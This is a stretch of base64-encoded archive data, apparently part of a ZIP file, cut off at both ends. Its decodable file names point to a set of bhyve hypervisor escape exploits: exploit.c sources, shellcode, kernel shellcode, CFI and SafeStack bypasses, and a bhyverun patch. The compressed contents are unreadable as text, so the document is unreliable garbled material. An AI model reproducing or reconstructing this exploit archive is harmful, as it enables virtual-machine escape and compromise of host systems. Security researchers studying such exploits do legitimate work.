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
HiSRHDgK+/DcOpgQuzvoGu3S0Z47BLYEuEWrhdDIV6KO4MwvdYO9rdTORhmRjnu84hZo5vN5Grr
+LPMdWpXwpzn5PZ8bHq4hMt+d7qoCVzVcDP+BVBLAwQUAAAACABnbkhN5q/BJ9IAAACLAQAAMAA
cAGNvZGUvc2V0dXBCL2Z3Y3RsX3NhbmRib3hfYmluZF9leHBsb2l0L3N5c2NhbGwuU1VUCQADQs
O7W0LDu1t1eAsAAQToAwAABOgDAABtkMEOgjAMhs/sKXoxUQNDDxr0YDz4BPoABrcqi8B0Kwbe3
m0QosbLmn7/33tu2CMRleb42tfjHzlhLxql74BeOYe+D78c++ZZFlX49
YWKkit2bt1GUzuHUW6BuqgsaSHbgFA4wT0e/DX6pgt8W6kqQm9sSEh9W317ZxqFiBCIA2Y4g8/l
yMeYbn2dDmk1d8WMWO+yHuf5rUBbcaahwa1Iu7sO8YbUofOqge72zhBV4PrgMUu84IjXGddFBRd

Prv+fcsjdQSwECHgMKAAAAAAAlS25QAAAAAAAAAAAAAAAAABQAYAAAAAAAAAABAA7UEAAAAAY29kZ
S9VVAUAA2YFbV51eAsAAQToAwAABOgDAABQSwECHgMKAAAAAACAS25QAAAAAAAAAAAAAAAAADAAY
AAAAAAAAABAA7UE/AAAAY29kZS9zZXR1cEMvVVQFAAMPBm1edXgLAAEE6AMAAAToAwAAUEsBAh4
DFAAAAAgAgqNGTcRq3cmpAAAADQEAABoAGAAAAAAAAQAAAKSBhQAAAGNvZGUvc2V0dXBDL2JoeX
ZlcnVuLnBhdGNoVVQFAANEfblbdXgLAAEE6AMAAAToAwAAUEsBAh4DCgAAAAAAi0tuUAAAAAAAA
AAAAAAAAB4AGAAAAAAAAAAAQAO1BggEAAGNvZGUvc2V0dXBDL2NmaV9zaWduYWxfYnlwYXNzL1VU
BQADJgZtXnV4CwABBOgDAAAE6AMAAFBLAQIeAxQAAAAIAMuVH01J0sHDmwgAAFUZAAAqABgAAAA
AAAEAAACkgdoBAABjb2RlL3NldHVwQy9jZmlfc2lnbmFsX2J5cGFzcy9zdHJ1Y3R1cmVzLmhVVA
UAA27viVt1eAsAAQToAwAABOgDAABQSwECHgMUAAAACADLlR9NnhPDa8AHAAA8FQAAIwAYAAAAA
AABAAAApIHZCgAAY29kZS9zZXR1cEMvY2ZpX3NpZ25hbF9ieXBhc3MvdmdhLmhVVAUAA27viVt1
eAsAAQToAwAABOgDAABQSwECHgMUAAAACAAEAEpNb5W0RS0JAAASHAAAJwAYAAAAAAABAAAApIH
2EgAAY29kZS9zZXR1cEMvY2ZpX3NpZ25hbF9ieXBhc3MvZXhwbG9pdC5jVVQFAAN4o71bdXgLAA
EE6AMAAAToAwAAUEsBAh4DFAAAAAgAxkBGTcWKG5VCAAAAWQAAACYAGAAAAAAAAQAAAKSBhBwAA
GNvZGUvc2V0dXBDL2NmaV9zaWduYWxfYnlwYXNzL01ha2VmaWxlVVQFAANkz7hbdXgLAAEE6AMA
AAToAwAAUEsBAh4DFAAAAAgAy5UfTZmeBD4YAQAAjwIAACcAGAAAAAAAAQAAAKSBJh0AAGNvZGU
vc2V0dXBDL2NmaV9zaWduYWxfYnlwYXNzL2FkZHJlc3MuaFVUBQADbu+JW3V4CwABBOgDAAAE6A
MAAFBLAQIeAwoAAAAAANBLblAAAAAAAAAAAAAAAAAAhABgAAAAAAAAAAEADtQZ8eAABjb2RlL3Nld
HVwQy9jZmlfc2FmZXN0YWNrX2J5cGFzcy9VVAUAA6cGbV51eAsAAQToAwAABOgDAABQSwECHgMU
AAAACADADUZNI1LB/JcIAABFGQAALQAYAAAAAAABAAAApIH6HgAAY29kZS9zZXR1cEMvY2ZpX3N
hZmVzdGFja19ieXBhc3Mvc3RydWN0dXJlcy5oVVQFAANIdrhbdXgLAAEE6AMAAAToAwAAUEsBAh
4DFAAAAAgAy5UfTZ4Tw2vABwAAPBUAACYAGAAAAAAAAQAAAKSB+CcAAGNvZGUvc2V0dXBDL2Nma
V9zYWZlc3RhY2tfYnlwYXNzL3ZnYS5oVVQFAANu74lbdXgLAAEE6AMAAAToAwAAUEsBAh4DFAAA
AAgAeb9JTXsFNSp/CQAABB4AACoAGAAAAAAAAQAAAKSBGDAAAGNvZGUvc2V0dXBDL2NmaV9zYWZ
lc3RhY2tfYnlwYXNzL2V4cGxvaXQuY1VUBQADZqO9W3V4CwABBOgDAAAE6AMAAFBLAQIeAxQAAA
AIAOYNRk2TvZUedgAAAKYAAAApABgAAAAAAAEAAACkgfs5AABjb2RlL3NldHVwQy9jZmlfc2FmZ
XN0YWNrX2J5cGFzcy9NYWtlZmlsZVVUBQADkHa4W3V4CwABBOgDAAAE6AMAAFBLAQIeAxQAAAAI
AGENRk0PYK6UEgEAABsCAAAqABgAAAAAAAEAAACkgdQ6AABjb2RlL3NldHVwQy9jZmlfc2FmZXN
0YWNrX2J5cGFzcy9hZGRyZXNzLmhVVAUAA5Z1uFt1eAsAAQToAwAABOgDAABQSwECHgMKAAAAAA
A4S25QAAAAAAAAAAAAAAAAADAAYAAAAAAAAABAA7UFKPAAAY29kZS9zZXR1cEEvVVQFAAOLBW1ed
XgLAAEE6AMAAAToAwAAUEsBAh4DCgAAAAAALl9JTQAAAAAAAAAAAAAAABwAGAAAAAAAAAAAQAO1B
kDwAAGNvZGUvc2V0dXBBL3ZnYV9wY2lfZXhwbG9pdC9VVAUAAxj6vFt1eAsAAQToAwAABOgDAAB
QSwECHgMUAAAACAAmZjNNL3W/7twDAACICgAAKAAYAAAAAAABAAAApIHmPAAAY29kZS9zZXR1cE
EvdmdhX3BjaV9leHBsb2l0L3N0cnVjdHVyZXMuaFVUBQADOKiiW3V4CwABBOgDAAAE6AMAAFBLA
QIeAxQAAAAIAPlIdEyeE8NrwAcAADwVAAAhABgAAAAAAAEAAACkgSRBAABjb2RlL3NldHVwQS92
Z2FfcGNpX2V4cGxvaXQvdmdhLmhVVAUAA9YxsVp1eAsAAQToAwAABOgDAABQSwECHgMUAAAACAD
WZDNN8VKbcjoCAACXBAAAIQAYAAAAAAABAAAApIE/SQAAY29kZS9zZXR1cEEvdmdhX3BjaV9leH
Bsb2l0L21tdS5jVVQFAAPEpaJbdXgLAAEE6AMAAAToAwAAUEsBAh4DFAAAAAgAjAJDTVaLN0uaC
QAAyBoAACUAGAAAAAAAAQAAAKSB1EsAAGNvZGUvc2V0dXBBL3ZnYV9wY2lfZXhwbG9pdC9leHBs
b2l0LmNVVAUAA7httFt1eAsAAQToAwAABOgDAABQSwECHgMUAAAACADjW0JNkl0b+FgAAAB5AAA
AJAAYAAAAAAABAAAApIHNVQAAY29kZS9zZXR1cEEvdmdhX3BjaV9leHBsb2l0L01ha2VmaWxlVV
QFAANqubNbdXgLAAEE6AMAAAToAwAAUEsBAh4DCgAAAAAAM19JTQAAAAAAAAAAAAAAABcAGAAAA
AAAAAAAQAO1Bg1YAAGNvZGUvc2V0dXBBL3JlYWRtZW1vcnkvVVQFAAMi+rxbdXgLAAEE6AMAAATo
AwAAUEsBAh4DFAAAAAgAlbwzTVGSSX2nAQAAZwMAACMAGAAAAAAAAQAAAKSB1FYAAGNvZGUvc2V
0dXBBL3JlYWRtZW1vcnkvcmVhZG1lbW9yeS5jVVQFAAP6P6NbdXgLAAEE6AMAAAToAwAAUEsBAh
4DFAAAAAgAsrwzTbjXL9BDAAAAZgAAAB8AGAAAAAAAAQAAAKSB2FgAAGNvZGUvc2V0dXBBL3JlY
WRtZW1vcnkvTWFrZWZpbGVVVAUAAzBAo1t1eAsAAQToAwAABOgDAABQSwECHgMKAAAAAAAPX0lN
AAAAAAAAAAAAAAAAIgAYAAAAAAAAAABAA7UF0WQAAY29kZS9zZXR1cEEvdmdhX2Zha2VhcmVuYV9
leHBsb2l0L1VUBQAD3vm8W3V4CwABBOgDAAAE6AMAAFBLAQIeAxQAAAAIAKVBNE2PE4QnuwEAAN
kDAAAtABgAAAAAAAEAAACkgdBZAABjb2RlL3NldHVwQS92Z2FfZmFrZWFyZW5hX2V4cGxvaXQvc
2hlbGxjb2RlLmhVVAUAAwa5o1t1eAsAAQToAwAABOgDAABQSwECHgMUAAAACAClQTRNFsW0rUYH
AABtGgAALgAYAAAAAAABAAAApIHyWwAAY29kZS9zZXR1cEEvdmdhX2Zha2VhcmVuYV9leHBsb2l
0L3N0cnVjdHVyZXMuaFVUBQADBrmjW3V4CwABBOgDAAAE6AMAAFBLAQIeAxQAAAAIAAtfSU01Ah
KciAIAAFwGAAAtABgAAAAAAAEAAACkgaBjAABjb2RlL3NldHVwQS92Z2FfZmFrZWFyZW5hX2V4c
GxvaXQvc2hlbGxjb2RlLmNVVAUAA9b5vFt1eAsAAQToAwAABOgDAABQSwECHgMUAAAACAClQTRN
nhPDa8AHAAA8FQAAJwAYAAAAAAABAAAApIGPZgAAY29kZS9zZXR1cEEvdmdhX2Zha2VhcmVuYV9
leHBsb2l0L3ZnYS5oVVQFAAMGuaNbdXgLAAEE6AMAAAToAwAAUEsBAh4DFAAAAAgApUE0TULcnR
4vAgAAagQAACcAGAAAAAAAAQAAAKSBsG4AAGNvZGUvc2V0dXBBL3ZnYV9mYWtlYXJlbmFfZXhwb
G9pdC9tbXUuY1VUBQADBrmjW3V4CwABBOgDAAAE6AMAAFBLAQIeAxQAAAAIAA9fSU1MOYFO6w4A
AMIvAAArABgAAAAAAAEAAACkgUBxAABjb2RlL3NldHVwQS92Z2FfZmFrZWFyZW5hX2V4cGxvaXQ
vZXhwbG9pdC5jVVQFAAPe+bxbdXgLAAEE6AMAAAToAwAAUEsBAh4DFAAAAAgApUE0TXIw3Im8DQ
AAqjEAACsAGAAAAAAAAQABACSBkIAAAGNvZGUvc2V0dXBBL3ZnYV9mYWtlYXJlbmFfZXhwbG9pd
C9zeXNjYWxsLmhVVAUAAwa5o1t1eAsAAQToAwAABOgDAABQSwECHgMUAAAACAClQTRNLcauJZoE
AABSDQAALAAYAAAAAAABAAAApIGxjgAAY29kZS9zZXR1cEEvdmdhX2Zha2VhcmVuYV9leHBsb2l
0L2plbWFsbG9jLmhVVAUAAwa5o1t1eAsAAQToAwAABOgDAABQSwECHgMUAAAACAClQTRNjk8zyW
IAAACZAAAAKgAYAAAAAAABAAAApIGxkwAAY29kZS9zZXR1cEEvdmdhX2Zha2VhcmVuYV9leHBsb
2l0L01ha2VmaWxlVVQFAAMGuaNbdXgLAAEE6AMAAAToAwAAUEsBAh4DFAAAAAgApUE0TQ41x0kK
AgAArgYAACsAGAAAAAAAAQAAAKSBd5QAAGNvZGUvc2V0dXBBL3ZnYV9mYWtlYXJlbmFfZXhwbG9
pdC9hZGRyZXNzLmhVVAUAAwa5o1t1eAsAAQToAwAABOgDAABQSwECHgMUAAAACAClQTRN5q/BJ9
IAAACLAQAAKwAYAAAAAAABAAAApIHmlgAAY29kZS9zZXR1cEEvdmdhX2Zha2VhcmVuYV9leHBsb

2l0L3N5c2NhbGwuU1VUBQADBrmjW3V4CwABBOgDAAAE6AMAAFBLAQIeAwoAAAAAAD1fSU0AAAAA
AAAAAAAAAAAfABgAAAAAAAAAAEADtQR2YAABjb2RlL3NldHVwQS92Z2FfaW9wb3J0X2V4cGxvaXQ
vVVQFAAM2+rxbdXgLAAEE6AMAAAToAwAAUEsBAh4DFAAAAAgA2KY+TY8ThCe7AQAA2QMAACoAGA
AAAAAAAQAAAKSBdpgAAGNvZGUvc2V0dXBBL3ZnYV9pb3BvcnRfZXhwbG9pdC9zaGVsbGNvZGUua
FVUBQADiJqxW3V4CwABBOgDAAAE6AMAAFBLAQIeAxQAAAAIANimPk0WxbStRgcAAG0aAAArABgA
AAAAAAEAAACkgZWaAABjb2RlL3NldHVwQS92Z2FfaW9wb3J0X2V4cGxvaXQvc3RydWN0dXJlcy5
oVVQFAAOImrFbdXgLAAEE6AMAAAToAwAAUEsBAh4DFAAAAAgAJl9JTTUCEpyIAgAAXAYAACoAGA
AAAAAAAQAAAKSBQKIAAGNvZGUvc2V0dXBBL3ZnYV9pb3BvcnRfZXhwbG9pdC9zaGVsbGNvZGUuY
1VUBQADCPq8W3V4CwABBOgDAAAE6AMAAFBLAQIeAxQAAAAIANimPk2eE8NrwAcAADwVAAAkABgA
AAAAAAEAAACkgSylAABjb2RlL3NldHVwQS92Z2FfaW9wb3J0X2V4cGxvaXQvdmdhLmhVVAUAA4i
asVt1eAsAAQToAwAABOgDAABQSwECHgMUAAAACADYpj5NQtydHi8CAABqBAAAJAAYAAAAAAAABAA
AApIFKrQAAY29kZS9zZXR1cEEvdmdhX2lvcG9ydF9leHBsb2l0L21tdS5jVVQFAAOImrFbdXgLA
AEE6AMAAAToAwAAUEsBAh4DFAAAAAgAGKw+TUtCX1egDwAA6TQAACgAGAAAAAAAAQAAAKSB168A
AGNvZGUvc2V0dXBBL3ZnYV9pb3BvcnRfZXhwbG9pdC9leHBsb2l0LmNVVAUAA3CjsVt1eAsAAQT
oAwAABOgDAABQSwECHgMUAAAACADYpj5NcjDcibwNAACqMQAAKAAYAAAAAAABAAEAJIHZvwAAY2
9kZS9zZXR1cEEvdmdhX2lvcG9ydF9leHBsb2l0L3N5c2NhbGwuaFVUBQADiJqxW3V4CwABBOgDA
AAE6AMAAFBLAQIeAxQAAAAIANimPk2OTzPJYgAAAJkAAAAnABgAAAAAAAEAAACkgffNAABjb2Rl
L3NldHVwQS92Z2FfaW9wb3J0X2V4cGxvaXQvTWFrZWZpbGVVVAUAA4iasVt1eAsAAQToAwAABOg
DAABQSwECHgMUAAAACACQqD5NcNqtvCwCAADwBgAAKAAYAAAAAAABAAAApIG6zgAAY29kZS9zZX
R1cEEvdmdhX2lvcG9ydF9leHBsb2l0L2FkZHJlc3MuaFVUBQAD0JyxW3V4CwABBOgDAAAE6AMAA
FBLAQIeAxQAAAAIANimPk3mr8En0gAAAIsBAAAoABgAAAAAAAEAAACkgUjRAABjb2RlL3NldHVw
QS92Z2FfaW9wb3J0X2V4cGxvaXQvc3lzY2FsbC5TVVQFAAOImrFbdXgLAAEE6AMAAAToAwAAUEs
BAh4DCgAAAAAANnJITQAAAAAAAAAAAAAAAAwAGAAAAAAAAAAAQAO1BfNIAAGNvZGUvc2V0dXBCL1
VUBQADeMm7W3V4CwABBOgDAAAE6AMAAFBLAQIeAxQAAAAIADZySE2ZQLEwpwAAAN4AAAAaABgAA
AAAAAEAAACkgcLSAABjb2RlL3NldHVwQi9iaHl2ZXJ1bi5wYXRjaFVUBQADeMm7W3V4CwABBOgD
AAAE6AMAAFBLAQIeAwoAAAAAAJYpSU0AAAAAAAAAAAAAAAApABgAAAAAAAAAAEADtQb3TAABjb2R
lL3NldHVwQi9md2N0bF9zYW5kYm94X2Rldm1lbV9leHBsb2l0L1VUBQADPJu8W3V4CwABBOgDAA
AE6AMAAFBLAQIeAxQAAAAIACtuSE3eiqiISwEAAL8CAAA0ABgAAAAAAAEAAACkgSDUAABjb2RlL
3NldHVwQi9md2N0bF9zYW5kYm94X2Rldm1lbV9leHBsb2l0L3NoZWxsY29kZS5oVVQFAAPSwrtb
dXgLAAEE6AMAAAToAwAAUEsBAh4DFAAAAAgAK25ITVJHs5QuCQAAvRsAADUAGAAAAAAAAQAAAKS
B2dUAAGNvZGUvc2V0dXBCL2Z3Y3RsX3NhbmRib3hfZGV2bWVtX2V4cGxvaXQvc3RydWN0dXJlcy
5oVVQFAAPSwrtbdXgLAAEE6AMAAAToAwAAUEsBAh4DFAAAAAgAkilJTZN01yg3BAAA9goAADQAG
AAAAAAAAQAAAKSBdt8AAGNvZGUvc2V0dXBCL2Z3Y3RsX3NhbmRib3hfZGV2bWVtX2V4cGxvaXQv
c2hlbGxjb2RlLmNVVAUAAzSbvFt1eAsAAQToAwAABOgDAABQSwECHgMUAAAACAArbkhNiiIbPFc
LAAC+JgAAMgAYAAAAAAAABAAAApIEb5AAAY29kZS9zZXR1cEIvZndjdGxfc2FuZGJveF9kZXZtZW
